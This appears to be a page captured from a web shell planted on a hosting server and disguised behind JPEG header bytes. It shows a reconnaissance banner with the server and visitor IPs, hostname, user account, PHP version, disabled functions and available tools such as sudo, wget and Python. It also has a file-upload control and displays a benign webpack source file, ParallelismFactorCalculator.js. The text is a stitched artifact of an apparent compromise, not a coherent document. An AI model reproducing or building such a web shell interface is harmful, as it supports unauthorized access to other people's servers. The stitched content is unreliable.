ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.226.94.138 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnwebsiteUpgrade/node_modules/webpack/lib/util/ |
Upload File : |
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const binarySearchBounds = require("../util/binarySearchBounds"); class ParallelismFactorCalculator { constructor() { this._rangePoints = []; this._rangeCallbacks = []; } range(start, end, callback) { if (start === end) return callback(1); this._rangePoints.push(start); this._rangePoints.push(end); this._rangeCallbacks.push(callback); } calculate() { const segments = Array.from(new Set(this._rangePoints)).sort((a, b) => a < b ? -1 : 1 ); const parallelism = segments.map(() => 0); const rangeStartIndices = []; for (let i = 0; i < this._rangePoints.length; i += 2) { const start = this._rangePoints[i]; const end = this._rangePoints[i + 1]; let idx = binarySearchBounds.eq(segments, start); rangeStartIndices.push(idx); do { parallelism[idx]++; idx++; } while (segments[idx] < end); } for (let i = 0; i < this._rangeCallbacks.length; i++) { const start = this._rangePoints[i * 2]; const end = this._rangePoints[i * 2 + 1]; let idx = rangeStartIndices[i]; let sum = 0; let totalDuration = 0; let current = start; do { const p = parallelism[idx]; idx++; const duration = segments[idx] - current; totalDuration += duration; current = segments[idx]; sum += p * duration; } while (current < end); this._rangeCallbacks[i](sum / totalDuration); } } } module.exports = ParallelismFactorCalculator;